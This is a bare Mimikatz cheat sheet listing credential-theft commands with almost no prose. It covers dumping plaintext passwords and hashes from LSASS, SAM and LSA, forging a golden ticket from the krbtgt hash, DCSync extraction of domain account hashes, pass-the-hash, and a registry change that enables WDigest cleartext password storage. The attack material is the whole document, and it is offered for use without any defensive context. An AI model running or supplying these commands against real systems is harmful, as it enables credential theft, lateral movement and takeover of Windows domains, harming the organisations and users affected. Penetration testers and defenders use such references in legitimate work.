Mimikatz

Stealing plain text credentials

• privilege::debug
• sekurlsa::logonpasswords

Dump lsass visa task manager

Task Manager > Details > lsass.exe > Right click > Create dump file > lsass.DMP

• privilege::debug
• sekurlsa::minidump lsass.DMP
• sekurlsa::logonpasswords

Dump hashes

• token::elevate
• lsadump::sam
• lsadump::lsa /patch
• lsadump::lsa /inject
• lsadump::cache
• sekurlsa::ekeys

Create a golden ticket on the domain controller

• privilege::debug
• lsadump::lsa /inject /name:krbtgt
• kerberos::golden /user:<USER> /domain:<DOMAIN.LOCAL> /sid:<SID> /krbtgt:<KRBTGT> /id:<ID>
• misc::cmd

Retrieve the password hashes of user accounts from a domain controller

• lsadump::dcsync /user:<USER> /domain:<DOMAIN.LOCAL>

Pass the hash

• sekurlsa::pth /user:<USER> /domain:<DOMAIN.LOCAL> /ntlm:<HASH> /run:cmd

Wdigest - extracting passwords in cleartext

• sekurlsa::wdigest
• reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f